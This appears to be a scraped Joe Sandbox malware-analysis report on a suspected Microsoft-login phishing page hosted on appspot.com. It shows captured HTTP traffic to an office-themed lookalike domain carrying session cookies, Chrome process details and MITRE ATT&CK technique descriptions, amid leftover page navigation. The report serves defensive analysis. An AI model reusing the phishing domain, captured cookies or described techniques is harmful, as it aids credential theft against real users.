2025-01-15 14:12:47 UTC	1697	OUT	GET /common/GetCredentialType?mkt=en-US HTTP/1.1 Host: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jylv=d3984498352421fe696703078911084a1b755fbb8103ac25b46ae471692d1a3b; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-VPB6SXiN8qQ=AQABCQEAAABVrSpeuWamRam2jAF1XRQEmtgKbdBGIbg3KQagZtZaP1U79o5IeL6fzGbxN5ouVFXMPwIFKVmPrMww9bKvwxM-JWQpQHfnWoiH_yvztwcR2fXicV-2BedkLl_2CYepFjc8w3AzNBf-mkMONh-ZP1qOLdja6i0TABIP5IhqtuFisSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AWAAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABgAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEpxt7Zz-ve8ehsMS3q-VJzHocwvuYgR9JC0pudvwE6CDIBJT0QqJPvegAJvm5TsAyHqFxn8tVb6nlLtrPVdHb1eTrlbgOBFQp30FNzKzn6l8gAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEHNY1KArCl-3hDX0o6fpkc1at2E72m0pCap4njSPngUz32UbcDmy9L1MR6xT7D7UA6NtXUbn4QM1d8P6aO_idGCxdKe7xJbXrbm5_W6yUw48VrF7BZfJ0FNI-JsmvSHQ5Tdim_RNhb816XwZuVcXq9je0Gz5zeEz8FD86h5i-7QEgAA; esctx-97yw6vWMQE8=AQABCQEAAABVrSpeuWamRam2jAF1XRQE8Q1-xXP3cQEs78HV1zDaFQI2yIyvIkwUJhMWHruKH4HYS6pJ0gX4lGPda8Goas_3jmKb2FeBTXe628BKrw2x_qQxk5m9KrL_uZvjt8LLbbHP8GRnMiVXIJHS691n25uNy6mc4vtzgQgsWi0OcZB0dCAA; fpc=AgMjZ0Gnd0VPvyNLfK [TRUNCATED]
2025-01-15 14:12:48 UTC	17	IN	HTTP/1.1 200 OK
2025-01-15 14:12:48 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Cache-Control: no-store, no-cache
2025-01-15 14:12:48 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-15 14:12:48 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-15 14:12:48 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 57 65 64 2c 20 31 35 20 4a 61 6e 20 32 30 32 35 20 31 34 3a 31 32 3a 34 37 20 47 4d 54 0d 0a Data Ascii: Date: Wed, 15 Jan 2025 14:12:47 GMT
2025-01-15 14:12:48 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-15 14:12:48 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-15 14:12:48 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-15 14:12:48 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-15 14:12:48 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-15 14:12:48 UTC	151	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 61 6d 73 32 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+ams2"}]}

Target ID:	0
Start time:	09:11:43
Start date:	15/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:11:45
Start date:	15/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2028,i,5000809284017356938,12727152360113180640,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	09:11:51
Start date:	15/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com/"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 127

Chrome Cache Entry: 128

Chrome Cache Entry: 129

Chrome Cache Entry: 130

Chrome Cache Entry: 131

Chrome Cache Entry: 132

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Chrome Cache Entry: 135

Chrome Cache Entry: 136

Chrome Cache Entry: 137

Chrome Cache Entry: 138

Chrome Cache Entry: 139

Chrome Cache Entry: 140

Chrome Cache Entry: 141

Chrome Cache Entry: 142

Chrome Cache Entry: 143

Chrome Cache Entry: 144

Chrome Cache Entry: 145

Chrome Cache Entry: 146

Chrome Cache Entry: 147

Chrome Cache Entry: 148

Chrome Cache Entry: 149

Chrome Cache Entry: 150

Chrome Cache Entry: 151

Chrome Cache Entry: 152

Windows Analysis Report
https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com/